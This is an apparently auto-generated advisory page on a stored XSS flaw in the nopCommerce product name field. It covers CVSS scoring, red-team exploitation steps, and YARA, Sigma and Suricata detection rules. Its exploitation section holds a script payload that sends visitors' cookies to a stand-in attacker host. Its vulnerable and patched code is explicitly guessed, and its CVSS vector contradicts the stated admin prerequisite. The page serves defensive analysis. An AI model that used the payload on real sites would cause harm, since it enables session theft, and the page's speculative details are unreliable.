CVE-2021-42193
Executive Summary
CVE-2021-42193 is a stored Cross-Site Scripting (XSS) vulnerability in nopCommerce version 4.40.3. The flaw resides in the product name field within the admin panel at /Admin/Product/Edit/[id]. An attacker with admin-level access can inject malicious JavaScript into the product name. This payload is then executed every time a user views the product in the shop frontend, leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
nopCommerce is a .NET-based e-commerce platform. The vulnerability is not in a third-party package but in the core application logic. However, administrators should verify the integrity of their nopCommerce installation and ensure no malicious modifications have been made to the product database.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (for viewing the product)
- User Interaction: Required (victim must view the product page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires admin-level access to inject the payload, but once injected, any user visiting the product page is affected. This can lead to credential theft, session hijacking, or malware distribution.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The product name field in the admin panel does not properly sanitize or encode user input before storing it in the database. When the product is rendered on the shop frontend, the malicious script is executed in the context of the victim's browser.
Root Cause: Lack of output encoding when displaying the product name in the shop view. The admin panel itself may also be vulnerable, but the primary impact is on the public-facing shop.
Attack Flow:
- Attacker gains admin access (e.g., through credential theft or social engineering).
- Attacker navigates to
/Admin/Product/Edit/[id]and modifies the product name to include a JavaScript payload, e.g.,<script>alert('XSS')</script>. - The payload is stored in the database.
- Any user visiting the product page in the shop triggers the script.
Vulnerable vs. Patched Code
Vulnerable Code (nopCommerce 4.40.3):
The product name is likely rendered using @Html.Raw() or without proper encoding in the Razor view.
// Vulnerable: No encoding
@Html.Raw(Model.ProductName)
Patched Code (Hypothetical):
The fix would involve using @Html.Encode() or the @ syntax which automatically encodes.
// Patched: Automatic encoding
@Model.ProductName
Note: No official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Admin credentials for nopCommerce.
- Access to the admin panel.
Exploitation Steps:
- Log in to the nopCommerce admin panel.
- Navigate to
/Admin/Product/Edit/[id](replace[id]with a valid product ID). - In the "Product Name" field, inject a payload such as:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the product.
- Any user visiting the product page will execute the script.
Proof-of-Concept (PoC):
<!-- Inject this into the product name field -->
<script>alert('XSS')</script>
Blue Team
Detection:
- Monitor admin panel logs for unusual product name changes.
- Use WAF rules to block common XSS patterns in product names.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Hunting:
- Search the database for
<script>tags in theProducttable'sNamecolumn. - Review web server logs for requests to
/Admin/Product/Edit/followed by suspicious parameters.
Indicators of Compromise (IOCs)
- Network:
- Outbound connections to attacker-controlled domains from the nopCommerce server.
- HTTP requests containing
<script>tags in the product name parameter.
- Host:
- Modified product names in the database containing JavaScript.
- Unusual admin account activity (e.g., multiple product edits in a short time).
- File:
- No specific file IOCs; the payload is stored in the database.
Detection Engineering
YARA Rule
rule nopCommerce_XSS_ProductName {
meta:
description = "Detects stored XSS payloads in nopCommerce product names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-42193"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: nopCommerce Stored XSS in Product Name
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in nopCommerce product name fields
author: Valters IT
date: 2025/04/10
logsource:
category: application
product: nopcommerce
detection:
selection:
EventID: 1000 # Example: product update event
ProductName|contains:
- '<script'
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in product names (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-42193 nopCommerce Stored XSS"; flow:to_server,established; content:"/Admin/Product/Edit/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: If a patched version becomes available, upgrade immediately.
- Input Validation: Implement strict input validation on the product name field to reject HTML tags.
- Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering.
- CSP: Deploy a Content Security Policy to block inline scripts.
- Access Control: Restrict admin panel access to trusted IPs and enforce MFA.
Long-Term Fix:
- Apply the hypothetical patch: replace
@Html.Raw()with@in the product view. - Conduct a security audit of all user input fields.
Workaround:
- Use a Web Application Firewall (WAF) to filter XSS payloads.
- Manually sanitize the database to remove any existing malicious payloads.
Report generated by Valters IT DevSecOps Intelligence